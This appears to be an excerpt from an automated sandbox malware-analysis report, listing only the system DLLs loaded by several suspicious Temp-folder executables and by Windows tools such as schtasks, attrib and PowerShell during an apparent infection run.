Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\mode.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\mode.com	Section loaded: ureg.dll	Jump to behavior
Source: C:\Windows\System32\mode.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Section loaded: apphelp.dll
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\explorer.exe	Section loaded: msvcp140.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\explorer.exe	Section loaded: cryptbase.dll
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe	Section loaded: mswsock.dll
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\explorer.exe	Section loaded: napinsp.dll
Source: C:\Windows\explorer.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\explorer.exe	Section loaded: wshbth.dll
Source: C:\Windows\explorer.exe	Section loaded: nlaapi.dll
Source: C:\Windows\explorer.exe	Section loaded: winrnr.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: explorerframe.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	Section loaded: msvcr100.dll
Source: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	Section loaded: dbghelp.dll
Source: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Section loaded: nlaapi.dll
